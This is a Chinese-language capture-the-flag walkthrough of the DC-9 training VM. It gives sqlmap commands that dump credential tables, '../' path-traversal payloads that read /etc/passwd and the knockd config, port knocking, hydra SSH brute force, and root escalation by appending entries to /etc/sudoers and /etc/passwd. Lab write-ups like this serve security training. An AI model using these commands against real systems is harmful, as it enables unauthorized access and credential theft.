靶机下载地址:
链接:https://pan.baidu.com/s/1LR44-oFnO6NU6bTNs7VNrw?pwd=hzke
提取码:hzke
参考:
描述:
DESCRIPTION 说明
DC-9 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
DC-9是另一个专门建造的易受攻击实验室,旨在获得渗透测试领域的经验。
The ultimate goal of this challenge is to get root and to read the one and only flag.
这个挑战的最终目标是扎根并阅读唯一的旗帜。
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
Linux技能和熟悉Linux命令行是必须的,有一些基本渗透测试工具的经验也是必须的。
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7上向我推特寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。
TECHNICAL INFORMATION 技术信息
DC-9 is a VirtualBox VM built on Debian 64 bit, but there shouldn't be any issues running it on most PCs.
DC-9是一个基于Debian 64位构建的VirtualBox虚拟机,但在大多数电脑上运行它应该不会有任何问题。
DC-9 has been tested successfully on VMWare Player, but if there are any issues running this VM in VMware, have a read through of this.
DC-9已在VMWare Player上成功测试,但如果在VMWare中运行此VM有任何问题,请仔细阅读。
It is currently configured for Bridged Networking, however, this can be changed to suit your requirements. Networking is configured for DHCP.
它目前已配置为桥接网络,但可以根据您的要求进行更改。已为DHCP配置网络。
Installation is simple - download it, unzip it, and then import it into VirtualBox or VMWare and away you go.
安装很简单——下载它,解压缩它,然后将它导入VirtualBox或VMWare,然后就可以离开了。
IMPORTANT 重要的
While there should be no problems using this VM, by downloading it, you accept full responsibility for any unintentional damage that this VM may cause.
虽然使用此虚拟机应该没有问题,但通过下载它,您将对此虚拟机可能造成的任何意外损坏承担全部责任。
In saying that, there shouldn't be any problems, but I feel the need to throw this out there just in case.
这么说,应该没有任何问题,但我觉得有必要把它扔出去以防万一。
1、导入VMware虚拟机
下载完成后,得到DC-9.ova文件,导入到VMware后,设置靶机和kali的网络连接模式为NAT模式,靶机会自动获取ip地址。
2、拍摄快照,防止后面出问题,有快照还能恢复到初始设置
3、kali创建一个目录 dc9 ,后续的操作都在该目录下进行
攻击者:kali 192.168.1.128
靶机:dc-9 192.168.1.137
这几条命令的用法可以看之前的博客,这里不再赘述
dirsearch -u "192.168.1.137" -e php -i 200
测试一下search页面是否存在SQL注入漏洞
测试发现,Search页面搜索然后跳到results页面的时候存在SQL注入
sqlmap -u http://192.168.1.137/results.php --data="search=1" --batch -dbs
sqlmap -u http://192.168.1.137/results.php --data="search=1" --batch -D users -tables
sqlmap -u http://192.168.1.137/results.php --data="search=1" --batch -D users -T UserDetails --columns
看看username,password
sqlmap -u http://192.168.1.137/results.php --data="search=1" --batch -D users -T UserDetails -C username,password --dump
这个username和password被sqlmap保存在了一个csv里面
我们用逗号作为分隔符,把username和password分别保存为两个txt,等一下爆破要用
cat /root/.local/share/sqlmap/output/192.168.1.137/dump/users/UserDetails.csv | awk -F, '{print $1}'
cat /root/.local/share/sqlmap/output/192.168.1.137/dump/users/UserDetails.csv | awk -F, '{print $1}' > username.txt
cat /root/.local/share/sqlmap/output/192.168.1.137/dump/users/UserDetails.csv | awk -F, '{print $2}' > password.txt
也是一样的顺序和命令
sqlmap -u http://192.168.1.137/results.php --data="search=1" --batch -D Staff --tables
sqlmap -u http://192.168.1.137/results.php --data="search=1" --batch -D Staff -T Users --columns
sqlmap -u http://192.168.1.137/results.php --data="search=1" --batch -D Staff -T Users -C Username,Password --dump
发现admin账号
密码一眼丁真为MD5加密,找一个在线解密网站解密即可
CMD5查到了但要钱才能解锁,换一个
换成somd5就可以了,密码为transorbital1
可以用来登录Web页面
注意到下面有File does not exist,想到是程序引用或读取了一个不存在的文件才会回显这个,说明可能存在任意文件读取漏洞
参数名是file,构造payload:
?file=../../../../../../../etc/passwd
ssh 的22端口状态是filtered 的,猜想是运行了knockd 服务,才导致ssh处于关闭状态
(参考端口敲门服务):
如字面意思,类似‘敲门’,只是这里敲的是‘端口’,而且需要按照顺序‘敲’端口。如果敲击规则匹配,则可以让防火墙实时更改策略。从而达到开关防火墙的目的。
使用者连接之前必须先依序 '敲击' 指定端口 (port knocking), knockd 才开放受到保护的端口
它的配置文件路径为/etc/knockd.conf
那我们利用任意文件读取漏洞查看一下konckd的配置文件
构造payload:
?file=../../../../../../../etc/knockd.conf
Ctrl+U查看一下源代码显示得更清楚一点
配置文件说明需要依次敲击7469,8475,9842这三个端口才行
使用knock程序
开启
knock <target> 7000 8000 9000
关闭
knock <target> 9000 8000 7000
Open:
nc -z <target> 7000 8000 9000
Close:
nc -z <target> 9000 8000 7000
我们直接用 nc 吧
nc -z 192.168.1.137 7469 8475 9842
knock 之后就可以看见ssh的22端口是 open 的状态的了
hydra -L username.txt -P password.txt ssh://192.168.1.137
获得三个账号密码,依次登录看看
将这几个密码添加到我们原来的password.txt里面去
echo 'BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts' >> password.txt
再用九头蛇进行爆破,再跑一遍
发现多了一个fredf
账号,密码为B4-Tru3-001
sudo -l
发现它可以不需要密码,以root权限去执行文件/opt/devstuff/dist/test/test
cd 到该目录看看
test.py表名
有一个叫sudo的东西
sudo就是正常情况下,你想要以非root用户执行一条root命令的话,就需要用到它
而sudo它有一个/etc/sudoers文件
这个文件配置了你能做什么操作
root ALL=(ALL:ALL) ALL
就说明root什么都能做
所以我们需要在/etc/sudoers
下追加一条命令,让我们这个用户能做ALL所有事情
fredf ALL=(ALL:ALL) ALL
我们现在当前目录下创建一个a.txt,添加如下的内容
然后运行test这个可执行文件,把内容添加到 /etc/sudoers 里面去
sudo /opt/devstuff/dist/test/test a.txt /etc/sudoers
现在就是牛逼的sudoers了,想提权就敲这条命令
sudo su -
下载就可以在/root目录下获得最终的flag了
原理: /etc/passwd 文件中含有的用户会去 /etc/shadow 文件中校验,如果 /etc/shadow 文件中没有则会无密码直接su切换用户
先利用openssl命令创建一个密码
openssl passwd -1 -salt <用户名> <密码>
得到hash密码,$1$hacker$TzyKlv0/R/c28R.GAeLw.1
接着到tmp目录新建一个文件
cd /tmp
echo 'hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0::/root:/bin/bash' > hacker
这里有个注意的地方,写入的时候必须是单引号,也就是echo ‘…’,不能是echo “…”,双引号会导致最后失败
对内容的解释,passwd文件每一行的格式如下:
然后运行脚本,把内容添加到 /etc/passwd 文件里面去
sudo /opt/devstuff/dist/test/test hacker /etc/passwd
切换到/roor目录就可以发现flag了